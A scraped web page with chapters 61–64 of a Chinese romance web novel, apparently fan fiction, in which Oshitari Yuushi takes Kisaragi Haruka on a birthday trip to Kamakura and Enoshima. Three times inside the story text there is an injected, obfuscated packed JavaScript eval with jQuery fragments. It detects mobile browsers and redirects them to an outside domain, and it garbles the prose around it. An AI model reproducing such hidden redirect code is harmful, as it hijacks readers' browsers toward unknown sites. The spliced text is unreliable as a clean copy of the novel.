窗外,一阵微风拂过,惊动了树梢上栖息的小鸟。 小鸟扑棱着翅膀飞向远方,像极了忍足梦里那两只勇敢翩跹的蝴蝶。 夜晚的忍足家灯火通明,充满了久违的热闹和温馨。 客厅里,刚从澳洲度假归来的父母和姐姐正兴致勃勃地分发着带回来的礼物,叽叽喳喳的讨论声不绝于耳。 忍足靠在楼梯扶手旁,看着姐姐惠里奈像献宝一样举着一件印着巨大卡通袋鼠、色彩极其鲜艳的T恤冲到他面前。 “小侑,看!姐姐特意给你挑的!可爱吧!澳洲特色!”惠里奈眼睛亮晶晶的,充满了期待。 忍足看着那件足以闪瞎人眼的T恤,嘴角几不可察地抽动了一下,无奈很快被笑意取代。 他接过T恤,动作自然地叠好, “嗯,姐姐的审美很棒,很有特色。” 他巧妙地避开了“喜欢”这个词。 温柔的弟弟,永远包容着姐姐这份脱线又充满爱的“心意”。 好不容易从客厅的“礼物风暴”中脱身,忍足回到自己房间。 门一关,隔绝了楼下的喧闹。 坐到书桌前,指尖无意识地在光滑的桌面点了点,一起期待升腾而起。 点开置顶的【Moon】。 【周末有安排吗?】 【没有。】 简洁利落,是她的风格。 忍足的心跳微微加快,嘴角不自觉地扬起。 【为了感谢大小姐之前照顾我,想请你去镰仓玩。】 他抛出了诱饵,理由冠冕堂皇。 很快,如月遥的回复带着点直白的戳穿意味: 【这周不是你生日吗?不需要在家和亲人过生日?】 耳边清晰地听到楼下家人们的说笑声。 他面不改色,语气“凄惨”: 【他们还在澳洲没回来呢……(可怜.jpg)】 【自己一个人过生日有点太凄凉了。】 屏息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526663|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凝神,等待着。 手机安静了几秒。 仿佛有一个世纪那么漫长,甚至能听到自己心脏在胸腔里跳着快节奏的踢踏舞。 终于—— 【行程你安排。】 “Yes!”忍足差点没忍住欢呼出声,他猛地从椅子上站起来,兴奋地在原地转了个圈。 【谢谢大小姐愿意赏光!(开心转圈.jpg)】 冷静了一会,他又抛出下一个关键问题:【过夜方便吗?】 【镰仓值得玩的地方不少,两天比较适合深度游。】 【可以。】 过了一会,仿佛隔着屏幕都能感受到那股熟悉的、带着警告的气息: 【不能标间。】 他几乎能想象出如月遥打出这句话时,那副微微蹙眉、带着点嫌弃却又不得不提醒的模样。 【放心,一切交给我。】 【周六,老时间,我去接你。】 发送。 放下手机,整个人靠在椅背上,仰头望着天花板,眼眸里是藏不住的笑意和期待。 镰仓。海风。 古寺。江之电。 还有……只有他和她的两天一夜。 他已经在心里飞速地盘算起最完美的行程和最安全的住宿安排,嘴角的弧度,越扬越高。 周六清晨,忍足家笼罩在一片“弟弟要抛弃家人”的忧伤氛围中。 忍足拎着旅行包刚走到玄关,就被姐姐堵了个正着。 惠里奈双手叉腰,漂亮的脸上写满了哀怨:“小侑!太过分了!” “我们特意从澳洲赶回来,就是想陪你过生日的!你居然要跑出去?!” 忍足脸上立刻堆起无奈又歉意的笑容,双手合十,姿态放得极低: “抱歉抱歉。” “真的是之前就定好的行程,实在不能放人家鸽子啊。” 他巧妙地用了“人家”这个模糊的指代。 惠里奈眼睛顿时一亮,八卦之火熊熊燃烧,促狭地用手肘捅了捅弟弟的腰: “人家?” 她拖长了语调,笑容狡黠,“‘人家’是谁呀?嗯?快说说!” 忍足被姐姐戳中心事,耳根微红,连忙做出求饶的手势:“姐姐……别问了……” “我还在努力……真的……” 惠里奈看着他这副难得窘迫的样子,更来劲了,啧啧称奇: “哎哟喂!” “我这天才弟弟居然也有搞不定的事?追了这么久还没成功?这女孩到底是什么仙女啊这么难追?” 忍足面对姐姐的调侃,只能无奈地叹了口气。 目光投向窗外晴朗的天空,好像在仰望星河,温柔又执拗:“是啊……” “天上的月亮太高了。” “得要一步步爬上去才行。” 说完,他不再给姐姐继续追问的机会,挥了挥手。 “走了走了!回来给你带镰仓特产!” 客厅里,父亲看着儿子仓皇离去的背影,若有所思:“侑士最近说话好像越来越……” 母亲优雅地抿了口茶,接话道,“越来越有中文的感觉了?‘天上的月亮’挺有意境的。” 惠里奈翻了个大大的白眼,对父母的迟钝表示无语:“爸妈!你们太迟钝啦!弟弟房间里天天都放着中文学习的视频,他就是在学中文呢!” 忍足父母闻言,相视一眼,难道自家儿子这是,看上了一个来自中国的…… 月亮? 62. 第 62 章 如月遥的身影出现。 一身质感极佳的淡灰色羊绒衫套装。柔软的羊绒贴合着她的身形,勾勒出优雅流畅的线条,知性大气。 颈间和耳垂点缀着珍珠首饰,在晨光下散发着内敛的光晕,与她的清冷完美融合,更添沉静贵气。 忍足快步上前,接过了她手中的行李箱,目光落在她颈间的珍珠项链上,眼里漾开毫不掩饰的赞叹:“大小姐今天真漂亮。” “珍珠很适合你。” 如月遥似乎心情不错,难得地接了他的夸奖, “最近看到Tasaki这款Balance系列设计挺好看。” 啊,和他出门,大小姐还特意打扮了,真好。 驶上通往镰仓的高速公路。 阳光透过车窗洒进来,车内流淌着舒缓的音乐。 忍足状似不经意地闲聊,目视前方,试探着问道,“你和我出来玩,孟君他会不高兴吗?” 阳光落在她的手臂上,指节上,浮光跃金。 “他不高兴什么?” “法学书够他看的了。” 忍足:“……” 他心里雀跃,又默默为孟远点了一根蜡,果然是被打入冷宫了。 然而,如月遥的脑海里,却不期然地浮现出早上的一幕—— 当她拎着行李箱准备出门时,刚好撞见从书房出来的孟远。 孟远手里抱着一摞厚厚的法典,看到她和她的箱子,俊脸瞬间垮了下来,眼神里充满了难以置信,然后变成满脸的生无可恋。 如月遥几不可察地抿了抿唇,压下心头那丝极其细微的波澜。 自从那晚迹部生日宴被清水绫子点破,又经历了这些天的思考,她心里早已有了数。 忍足侑士喜欢她? 这件事有什么好惊讶的吗? 如月大小姐被人喜欢不是很正常的事情吗? 至于她的想法…… 如月遥不由自主地看向驾驶座。 看着忍足专注开车的侧脸,轮廓清晰俊朗,嘴角带着温和愉悦的弧度,握着方向盘的双手修长有力。 她心里默默地给他记了几笔: 听话。 帅气。 温柔。 懂事。 嗯。 颔首,眼眸深处掠过一丝极淡的满意。 收了他,也行。 鹤岗八幡宫 石阶在初秋的阳光下泛着温润的光泽。 二人并肩拾级而上,脚步落在厚重的历史之上,发出轻微的叩响。 风穿过苍劲的松柏,带来山林特有的清冽气息和远处隐约的海潮声。 登上最高处的凭栏俯瞰,整个镰仓如同摊开的画卷铺陈在眼前。 黛瓦鳞次栉比,远山层叠浓郁,更远处,相模湾的碧蓝海水在日光下闪烁着细碎的银光,如同一匹流动的锦缎,一直延伸向海天相接的尽头。 “源平的时代,就在这里落幕。” 如月遥的目光掠过开阔的舞殿,最终落在那片平静如镜的源氏池上。 水池倒映着池畔策马执剑的雕像,日光与水影交织,将历史的悲壮与孤绝凝固成一种永恒的静默。 漫步至平氏池畔,那汪名为“泪池”的小泉沉静无言。 驻足片刻,看着水中摇曳的树影,仿佛能听到千年之前那沉入水底的不甘与叹息。 “沉重到只能靠水来承载的孤独。” 低声自语,是对纯粹悲情的体察。 正欲离开,中山门外一阵安静有序的骚动吸引了他们的目光。 一场日式传统婚礼正在举行。 新娘身着层层叠叠、繁复沉重的白无垢,头戴沉重的角隐,妆容雪□□致,唇色却极淡,如同一个被精心妆点却失去生气的偶人。 每一步都由人搀扶引导,仪态万千却透着令人窒息的束缚感。 新娘微微抬眼,目光恰好与二人交汇。 那双眼睛倒是澄澈明亮,在毫无血色的脸颊上显得格外突兀。 忍足能清晰地感受到身旁如月身上散发出的不以为然。 她对这种将女子包裹成祭品、必须冠上夫姓的仪式嗤之以鼻。 然而,当新娘那澄澈的目光望过来,带着一丝祈求理解的意味时,如月紧抿的唇线略微缓和。 最终,她还是对着那双眼睛,极轻微地点了一下头,露出了一个短暂却清晰的、带着善意的微笑。 忍足也立刻回以温和鼓励的笑容,无声地传递着祝福。 人群散开,忍足侧头看向她,问道:“在中国,女孩子嫁人后需要改姓吗?” “无论嫁与不嫁,女孩子首先是独立的个体。” 她微微扬起下巴,带着骨子里的骄傲,“我们拥有自己的名字,代表的是自己,而不是附属品。” 忍足眼眸里笑意更深:“是啊,无论是如月遥,还是云月遥。” “都是独一无二的名字,不该被任何姓氏抹去或取代。” “那当然。” 如月轻哼一声,理所当然地接受了这份认同,眉眼间流露出被理解的愉悦。 离开八幡宫,他们来到了镰仓的另一处象征——镰仓大佛。 佛像盘膝端坐在庭院中央,历经风雨,古朴肃穆。 游人如织,环绕参拜。 如月遥站在佛像前,仰头注视了片刻,没有多少敬畏或惊叹,反而忍不住挑剔。 压低的声音带着近乎客观的评价:“不如我家乡的那尊。” 忍足闻言,拿出手机,指尖飞快地输入搜索。 屏幕亮起,高清图片展现。 那是何等的气势磅礴。 W市的巨佛伫立于天地间,金光璀璨,宝相庄严。 那种山岳般的威严与神圣感扑面而来,绝非眼前这尊露天古佛的沧桑感所能比拟。 忍足默默放下手机,“确实……逊色了。” 告别略显“逊色”的大佛,两人转战镰仓最富有烟火气的小町通。 狭窄的街道两旁店铺林立,游人摩肩接踵,食物的香气在空气中甜蜜地交织。 大佛烧。 目光精准地锁定了一家飘着热腾腾甜香的店铺。 刚出炉的大佛烧金黄酥脆,圆鼓鼓像极了缩小版的佛像。 小心地咬开一角,滚烫的红豆沙馅立刻流淌出来,香甜细腻,软糯得入口即化,浓郁的甜蜜瞬间占据了味蕾。 “唔……”她满足地眯了眯眼睛,那点对大佛的挑剔早已抛到九霄云外,“甜度正好,豆沙很糯,好吃。” 另一边,忍足则捧着一杯镰仓特色的抹茶巴菲。 深绿色的抹茶冰淇淋浓郁醇厚,搭配着软糯的白玉团子和酥脆的玄米,口感层次丰富,茶香与奶香完美融合,冰凉舒爽。 “确实不错。”他笑着附和,看着如月享受的样子,只觉得比巴菲本身更甜。 两人就这样悠闲地穿梭在人流中,品尝着各种小吃。 秋日的阳光温暖而不炙热,微风拂面,带来食物香气和隐约的海风咸味。 扫过路边琳琅满目的纪念品摊位,目光最终停留在一个憨态可掬的镰仓大佛毛绒挂件上。 圆滚滚的脑袋,眯缝着眼,笑得一脸喜气。 忍足走过去,利落地付钱买下。 然后,自然地将挂件系在如月随身携带的手提包上。 圆滚滚、笑眯眯的小光头随着如月的步伐轻轻晃动起来。 一摇一摆,与她知性的灰色羊绒衫套装形成了奇妙又可爱的反差萌。 如月低头看了一眼那个傻乎乎的挂件,又看向忍足。 男人温柔地注视着她,带着一丝小小的得意。 终究默许了这份小小的“幼稚”点缀在自己的包袋上。 小光头在包畔跳跃着,随着他们的脚步,融入小町通热闹喧嚣又温情脉脉的人潮光影里。 江之岛的夜色温柔地包裹着海岸线,海浪在月光下翻涌着银边,一遍遍亲吻着沙滩,发出低沉而永恒的吟唱。 海风带着咸涩的凉意,吹拂着两人的衣角和发梢。 晚餐后,二人走向海滩。 白日里喧嚣的游人已散去大半,只留下空旷的沙滩和亘古不变的海潮声。 如月遥弯腰,指尖灵巧地解开了高跟鞋的搭扣。 将鞋子随意地拎在手中,赤足踩上了细腻微凉的沙子。 柔软的沙粒瞬间包裹了她的脚趾和脚背,带着白日里储存的、尚未完全散尽的微温。 忍足看着她的动作,没有丝毫犹豫,也立刻脱下了自己的皮鞋和袜子,卷起裤脚,学着她的样子,赤足踏入了沙中。 细沙的触感从脚底传来,带着奇异的抚慰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冰凉的海水带着泡沫,覆盖过脚面,又迅速地退去,留下湿漉漉的沙粒紧紧包裹着脚踝和脚背,奇异的酥麻感。 如月遥似乎很享受这种触感,弯下腰,专注地看着海浪一次次亲吻她的双脚,感受着由自然赋予的奇妙触觉。 就在她全神贯注于脚底与海浪的嬉戏时,一只温热而有力的手,毫无预兆地握住了她微凉的手腕。 下意识地抬起头,忍足已经靠近,眼眸深深地凝视着她,里面翻滚着她已经心知肚明的炽热情愫。 想板起脸,想立刻甩开这只无视了她“不许拉手”规矩的手。 然而没等她开口,忍足的声音抢先响起: “就当是……” 他的声音低沉,带着点沙哑,目光牢牢锁住她,“…包容我。” “今天是我生日。” 他看着她微微睁大的眼睛,语气放软,带着点孩子气的耍赖:“不要跟我计较好不好?” 这个家伙又来了! 每次都这样! 用各种理由突破界限! 她瞪着他,瞳孔里燃烧着羞恼的火苗。 可那句“今天是我生日”,却像一根细小的针,轻轻戳破了她心头那点恼怒的气球。 攥紧的拳头几不可察地蜷缩了一下。 算了……她在心里无声地叹了口气。 他生日。 就……原谅他这一次。 仅此一次。 那股紧绷的力道,从她的手腕悄然退去。 没有挣脱也没有回应,只是微微偏过头,避开了他那过于灼热的目光,任由自己的手,被他坚定地完全地包裹住。 忍足感受到了她态度的软化,她的默许如同最甘甜的蜜糖,浸润了整个心房。 两人就这样手牵着手,在空旷的沙滩上漫无目的地走着。 海浪在脚边低语,月光在身后拉出长长的、依偎在一起的影子。 海风似乎也变得温柔起来,轻轻拂过交握的双手。 走累了,他们找了一处干燥的沙丘并肩坐下。 远处,江之岛灯塔的光芒在夜色中规律地旋转闪烁,如同永不疲倦的守望者。 夕阳早已沉入海平面之下,只在天际残留着一抹深沉瑰丽的紫红,与深蓝的夜幕交融,构成一幅宁静壮阔的背景。 交握的双手始终没有放开。 他们并肩坐着,谁也没有说话。 只有海浪声,风声,灯塔旋转的光束扫过天际的声音,以及彼此交握的掌心下,清晰可辨的心跳声,在寂静的夜色中交织共鸣。 63. 第 63 章 回到酒店,走廊柔和的壁灯将两人的影子拉长。 忍足握着如月遥的手,指腹无意识地在她微凉的手背上轻轻摩挲着,仿佛那是什么稀世珍宝,怎么也舍不得松开。 他站在她的房门前,高大的身影几乎将她笼罩,只有浓得化不开的眷恋在灯光下流淌。 如月遥被他这近乎无赖的磨蹭弄得彻底没了脾气。 她试着抽了抽手,纹丝不动,瞪向他,里面终于浮起一丝真实的恼意:“再不放手,我就要打人了啊。” 带着点咬牙切齿的味道,听起来没什么威慑力,反而有点虚张声势。 忍足非但不怕,反而得寸进尺地弯起嘴角,赖皮地说:“今天是我生日。” 他理直气壮,声音放得又轻又软,像在哄人,“不能打我。” 如月遥没好气地呛回去:“要不是你生日。” “你还能拉着我手到现在?” 这句话与其说是质问,不如说是变相的承认和纵容,像一道微光,瞬间照亮了他心底最深处的期盼。 是不是意味着,她的心门,也在为他悄悄打开一条缝隙? 终于缓缓地松开了手。指尖离开时,心里空落落的。 “房间就在隔壁,”他指了指旁边的房门,目光依旧胶着在她脸上,“有事随时喊我。” 他巴不得她有事。 如月遥飞快地收回手,仿佛那手背还残留着他掌心的灼热。 她看也没看他,只丢下一句:“不会有什么事。” 语气斩钉截铁。 然后,她利落地刷开房门,闪身进去,“咔哒”一声,干脆利落地将忍足隔绝在了厚重的门板之外。 忍足看着紧闭的房门,又低头看了看自己空落落的掌心。 那里还残留着她的温度和细腻的触感,心头涌起一阵甜蜜的怅惘。 要是……每天都是生日,多好啊。 回到自己房间,洗漱完毕,忍足靠在床头,认真地规划着明天的行程。 江之电、湘南海岸、镰仓高校前站…… 每一个地点都在他脑海中勾勒出与她并肩同行的画面。 突然 笃、笃、笃。 敲门声响起,打破了房间的宁静。 疑惑地起身开门。 门外站着一位服务生,脸上带着职业化的微笑,推着精致的银色餐车。 “打扰了,先生。”服务生微微躬身,将餐车推进房间。 目光落在餐车中央。 一个小巧精致的圆形蛋糕,雪白的奶油上点缀着新鲜的草莓和蓝莓,散发着诱人的甜香。 蛋糕中央,一根细细的蜡烛正安静地燃烧着,温暖的烛光跳跃着。 蛋糕边缘,用巧克力酱清晰地写着: 【生日快乐】 脑子一片空白。 随即,狂喜如同海啸般席卷,心脏在胸腔里疯狂。 是她! 只能是她! 她竟然……给他准备了生日蛋糕?! 服务生离开之后,他几乎是立刻捧起那个小蛋糕,几步就冲到了隔壁房。 心脏还在咚咚直跳,指尖带着点颤抖,敲响了门板。 咚咚咚。 门开了。 如月遥站在门口,显然刚沐浴过。 长发湿漉漉地披散在肩后,发梢还在往下滴着水珠,浸湿了真丝睡袍的肩头。 水汽氤氲中,她的肌肤显得更加白皙剔透,带着刚出浴的慵懒。 只是此刻,她眼里带着明显的被打扰的不悦,眉头微蹙,“又干什么?” 忍足却丝毫不在意她的“凶恶”,献宝似的将手中捧着的蛋糕高高举起。 烛光映亮了他的眼眸,声音因为激动而微微发颤:“蛋糕!” 他像个得到糖果的孩子,声音里充满了喜悦,“一起许个愿吧?” 烛光跳跃,在他眼中映出温暖的倒影。 如月遥的目光落在那跳跃的烛火上,她几不可察地抿了抿唇,脸颊似乎被烛光映得有些微红。 眼神闪烁了一下,移开视线,声音略有些僵硬:“我只是随口跟前台说了一声。” 她试图解释,轻描淡写,仿佛只是顺手而为。 然而,看着那张因为惊喜而熠熠生辉的脸庞,看着他眼中那毫不掩饰的、几乎要溢出来的期待…… 如月遥到嘴边的话又咽了回去。 算了…… 她侧身让开门口,“进来吧。” 忍足捧着蛋糕,脚步轻快地走进了她的房间。 烛光在房间里投下温暖的光晕,空气中弥漫着蛋糕的甜香和她身上清冽的沐浴露香气。 将蛋糕放在房间的小圆桌上,他虔诚地闭上眼,双手合十,睫毛在投下小片阴影,嘴角噙着温柔而满足的笑意。 如月遥站在他身边,看着他那副认真的样子。 暖黄的烛光柔和了他俊朗的轮廓,也融化了他平日里沉稳的气质,透出一种难得的孩子气的虔诚。 鬼使神差地,她也慢慢地、轻轻地闭上了眼睛。 一个微小又模糊的念头,随着摇曳的烛光,悄然成形。 (希望这个聒噪又麻烦的家伙少惹点事。) (……嗯,就这样。) 烛光映照着两张年轻而美好的脸庞。 窗外,是江之岛静谧的夜,和倒映着星河的深蓝海面。 窗内,小小的烛火跳跃着,仿佛点燃了某些深藏于心的祈愿。 烛光熄灭,房间里只剩下蛋糕甜腻的香气和暖黄的灯光。 忍足给如月切了一块蛋糕。 她没接,反而指了指蛋糕:“再切一块。” 不明所以,但他还是依言切了第二块。 “寿星要吃第一块。” 她的声音带着点固执,眼神却飘忽着,似乎在纠结着什么。 低头看了看自己纤细的手腕,再抬头瞥了一眼墙上显示着“22:30”的时钟。 近乎懊恼的小情绪爬上脸,她低声抱怨: “这么晚吃甜点……” 指尖碰了碰自己的腰侧:“会发胖的。” 看着她这副纠结又带着点小女儿态的模样,心头像是被羽毛轻轻搔了一下,又软又痒。 忍足再也忍不住笑了出来,肩膀都因为这突如其来的笑意而微微抖动。 如月立刻瞪圆了眼睛,眼里燃烧起羞恼的火苗:“不许笑!” 忍足却笑得更大声了,眼眸弯成了月牙。 “抱歉……可是……” 他努力想憋住,收效甚微。 “我实在……太高兴了……” 看着他笑得开怀的样子,如月心头那点纠结瞬间被点爆,目光落在蛋糕上那雪白诱人的奶油。 让你笑。 手指倏地伸出,以迅雷不及掩耳之势,狠狠地挖了一大块奶油。 然后——啪! 精准无比地抹在了忍足高挺的鼻梁正中央。 刹那间,帅气俊美、气质沉稳的忍足贵公子,顶着一团滑稽的白色奶油,瞬间变成了舞台上的小丑。 “哈哈!” 如月遥看着他那副呆滞又搞笑的尊容,笑了两声。 如同冰棱碎裂的清响,又如同月光破开云层洒落人间,带着前所未有的明亮和暖意。 平日里清冷疏离的气质荡然无存,眉眼弯弯,唇角上扬,整张脸都生动得如同被点亮,散发着柔和而耀眼的光芒。 忍足被她笑得一时愣住了,随即反应过来,胜负欲瞬间涌上心头。 “这样可不行啊…”他佯装不满地抱怨,“不能只涂我一个人。” 目标明确地就要往如月遥白皙光洁的脸颊上反击。 “想得美!”如月反应极快,立刻弹跳起来,敏捷地闪开。 房间里瞬间上演了一场奶油追逐战。 忍足仗着腿长优势紧追不舍,如月则凭借着灵巧的身手在沙发和椅子间闪转腾挪。 两人笑着、叫着、互相威胁着,小小的房间里充满了快活的空气。 “看你往哪跑!”忍足瞅准机会,猛地扑了过去。 “啊!”惊呼一声,她脚下被沙发腿绊了一下,身体失衡,向后倒去。 忍足收势不及,整个人也跟着扑倒。 砰! 两个人摔进了柔软宽大的沙发里,高大的身躯几乎完全将纤细的身体笼罩在身下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526665|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>笑声戛然而止。 如月被他结结实实地压在下面,后背陷入柔软的沙发靠垫里。 刚才闪避和笑闹带来的剧烈喘息还未平息,此刻又因为这样过于亲密的接触而心跳如鼓。 脸颊不知是笑得还是羞恼得,染上了两抹极其明显的、如同醉酒般的酡红。 眼里还残留着未散的笑意,此刻却蒙上了一层羞恼,瞪着上方那张近在咫尺的俊脸,凶巴巴地警告: “再不从我身上起来……” 声音带着点不易察觉的颤抖,却努力维持着气势, “我就真要掰你手指了!” 她作势就要去抓他的手腕。 忍足看着身下的人。 烛光柔和了她的轮廓,脸颊的绯红如同盛开的桃花,那双总是清冷的眼眸此刻水光潋滟,带着嗔怒,却比任何时候都要生动迷人。 她微张着唇喘息,温热的气息几乎拂过他的下巴…… 血液似乎都涌上了头顶,所有的注意力都被那双近在咫尺的、带着水光的眼眸攫取。 看着自己手指上沾着的奶油,一个带着点恶作剧和更隐秘渴望的念头窜起。 他非但没有起身,反而微微低下头,鼻尖几乎要擦到她的鼻尖。 他鼻梁上那团还没来得及擦掉的白色奶油,随着他低头的动作,轻轻蹭在了她同样挺翘的鼻尖上。 这个动作太近了! 近到忍足能清晰地看到她微微颤抖的长睫毛,近到他能感受到她温热的呼吸拂过他的唇畔,近到两人之间空气的温度在急剧攀升。 呼吸无可避免地纠缠在一起,带着奶油甜腻的香气,暧昧得令人窒息。 如月遥僵住。 鼻尖上那点微凉的奶油触感根本微不足道,但忍足眼神里翻涌的、毫不掩饰的情愫让她有些心慌。 心脏像是要从喉咙里跳出来,全身的血液都在奔腾叫嚣。 忍足同样被这强烈的悸动和渴望席卷。 看着她眼中清晰的慌乱和那诱人的唇瓣,喉结剧烈地滚动了一下,眸光骤然深沉,如同酝酿着风暴的深海。 他撑在她身侧的手臂肌肉绷紧,身体微微前倾,仿佛下一秒就要不顾一切地吻下去…… 就在这千钧一发、空气紧绷得几乎要断裂的时刻—— “阿——嚏!!!” 一个惊天动地、毫无预兆的喷嚏猛地从如月遥口中爆发出来。 强大的气流直接喷在了忍足近在咫尺的脸上,她整个人都因为这剧烈的喷嚏而猛地向前一窝,额头重重地撞进了忍足的怀里。 忍足:“……” 所有的旖旎情愫都被这个突如其来的喷嚏和撞进怀里的脑袋瓜瞬间打得粉碎。 下意识地收紧双臂,抱住了怀里因为打喷嚏而微微颤抖的身体。 手掌触到她湿漉漉、冰凉的发梢——她刚洗完澡,头发还没吹干! 冷水浇头般的清醒取代了所有的意乱情迷。 “头发!”忍足的声音带着懊恼,立刻撑起身子,语气变得急切,“赶紧吹干!秋天了,这样湿着睡觉会着凉的!” 羞窘铺天盖地。 刚才的心跳加速、暧昧氛围、鼻尖的奶油,还有那个该死的喷嚏,全都化为让她恨不得原地消失的尴尬。 她猛地推开还抱着她的忍足,力气大得惊人。 手脚并用地从沙发上爬起来,看都没看忍足一眼,一手抄起小圆桌上的蛋糕,一手抓住忍足的手臂,连推带搡地把他往门口赶!。 “滚!” 前所未有的羞愤和慌乱,“滚回你的房间去!” “砰!!!” 房门被用力关上! 紧接着是清晰的落锁声。 动作一气呵成,毫不拖泥带水。 走廊里,忍足狼狈地捧着蛋糕碟子,蛋糕上的奶油因为刚才的推搡歪倒在一边。 他鼻子上还滑稽地顶着一团白,脸上甚至还残留着被喷嚏波及的、带着点狼狈的湿润感。 怔怔地看着眼前紧闭的房门,仿佛还能听到门内咬牙切齿的羞恼气息。 指尖残留着她发梢的冰凉湿意和她扑进怀里那一瞬间温软的触感。 今晚还真是……永生难忘的生日啊。 64. 第 64 章 忍足侑士躺在床上。 清晨熹微的光线透过窗帘缝隙洒进来。 睁着眼睛却没有立刻起身,思绪还沉甸甸地压在昨夜那场混乱又心跳加速的回忆里。 他清晰地意识到,自从明确了自己的心意,对如月遥的渴望,就如同挣脱了牢笼的猛兽,在他引以为傲的自控力藩篱上疯狂冲撞。 那些旖旎的梦境,那些不经意触碰带来的电流,那些近在咫尺时无法抑制的悸动。 其频率和强度,简直比他懵懂的青春期还要汹涌澎湃。 昨晚狼狈地抱着蛋糕被推出房门的画面还历历在目,鼻尖似乎还残留着一点奶油的甜腻。 但这并不妨碍他回味之后那个漫长又充满了幸福的梦境。 梦里没有被打断的喷嚏,只有月光、海浪、柔软的沙发,和她温软的唇…… 无奈地抬手捂住眼睛,发出一声挫败又甜蜜的叹息。 爱情这东西…… 真是个不讲道理的强盗。 轻而易举,就把他引以为傲的理智和自控力洗劫一空。 起床洗漱完毕,收拾好行李。 忍足看了看时间,按照他对如月作息的习惯性了解,这位大小姐的生物钟此刻应该还在香甜的睡眠中。 先去餐厅探探路。 凭借和她相处的经验,精准地避开了她不喜欢的所有元素。 过于油腻的、气味刺激的、看起来过于花哨的。 精心挑选了几样精致、清爽、营养均衡的日式和西式餐点,摆放在视野极佳的位置上,耐心等待。 当如月遥的身影出现在餐厅门口时,忍足的心跳不由自主地加快了几分。 她换了一套米白色的羊绒休闲套装,长发束在脑后,脸颊白皙光洁,看不出丝毫昨晚的羞恼。 仿佛昨晚那个尖叫着把他轰出门的女孩只是他的幻觉。 她又变回了那个清冷疏离、高不可攀的如月大小姐。 站起身,绅士地为她拉开椅子。 如月遥目不斜视,仿佛没看到他这个人,径直坐下,目光落在面前那份显然是精心搭配过的早餐上。 切好的水果沙拉、温热的温泉蛋、烤得恰到好处的吐司配一小碟果酱、还有那杯散发着醇香的牛奶。 全是她喜欢的。 她什么也没说,像个高傲的公主,开始低头用餐,眼神坚决不肯与餐桌对面的忍足有任何交汇。 忍足在心里默默叹了口气。 看来昨天沙发上的“意外”和最后的“狼狈”,还是惹得这位祖宗不高兴了。 他清了清嗓子,略带讨好:“今天的行程安排。” “先去江岛神社祈福,然后去看看江之岛的岩屋洞穴,据说很有趣。” “下午去新江之岛水族馆,晚上…去尝尝镰仓很有名的虾仙贝?” 尽量让语气听起来轻松愉快。 如月遥“嗯”了一声,算是知道了,依旧没抬眼。 气氛有点僵硬。 忍足的目光扫过果盘里新鲜的橘子。 伸手拿起一个,修长的手指极其灵巧地剥开橘皮,撕掉白色的橘络。 将剥得干干净净、饱满多汁的橘瓣,轻轻推到如月遥的手边。 如月遥的动作停了一下。 她看着那几瓣晶莹剔透的橘子,沉默了几秒。 然后捻起一瓣,若无其事地塞进嘴里。 酸甜的汁水在口中爆开,带着清新的果香。 嗯……还不错。 她依旧没看忍足,但周身那股生人勿近的冰冷气场,似乎悄然松动了一点点。 嗯,能吃他剥的橘子,说明心情缓和了。 两人并肩走出酒店,迎着初秋微凉的海风,沿着步道,悠闲地散步前往江岛神社。 神社依山而建,庄严肃穆。 踏上长长的石阶,参天的古木投下斑驳的光影。 他们先来到边津宫。 如月遥上前,神情变得异常专注和虔诚。 投入赛钱,摇响垂铃,双手合十,闭目祈祷,动作标准又认真。 忍足站在她身后半步,看着她虔诚的背影,轻声提醒:“这里是求财的神社。” 如月遥祈祷完毕,睁开眼,闪烁着极其务实的光芒:“所以要好好诚心拜。” “拜得越诚心,钱才能源源不断。” “大小姐也有金钱困扰?” 如月家富可敌国,她个人资产恐怕也是个天文数字。 如月遥瞥了他一眼,下巴微扬,那张清冷的脸上忽然露出一抹极其坦荡又狡黠的笑容: “没钱……” 她拉长了语调,目光意有所指地扫过忍足俊美的脸庞,“怎么包养小白脸?” 忍足脸上的笑容瞬间僵住。 一股滚烫的热流“唰”地一下从脖子根直冲上头顶,连耳廓都红得滴血。 小…… 小白脸?! 包养?! 她……她指的是……他吗?! 他看着如月遥那双带着促狭笑意、亮得惊人的眼睛,心脏狂跳得几乎要从胸腔里蹦出来。 她……她这是什么意思?! 是……是承认……要包养他了?! 如月遥欣赏着他这副被雷劈中的呆滞表情,唇角勾起一抹得逞的弧度。 利落转身,步履轻盈地朝着下一个神社走去,根本不给他追问的机会。 “大小姐!”忍足反应过来,连忙追上。 “你……你刚才……” 话语却在喉咙里卡住了。 如月遥只留下一个潇洒的背影和风中飘来的一句轻飘飘的话: “快跟上。” 忍足:“……” 无奈地看着她的背影,只能磨了磨牙,心里又是甜蜜又是懊恼。 又被她耍了! 这个恶劣的大小姐! 到了中津宫,氛围果然截然不同。 空气中似乎都弥漫着粉红色的泡泡,随处可见结伴而来的年轻女孩和亲昵依偎的情侣。 忍足介绍道:“这里是祈求恋爱顺利、良缘美满的地方。” 如月遥环顾四周,显然没什么兴趣,甚至带着点嫌弃:“迷信。” 然而,忍足却径直走到神前。 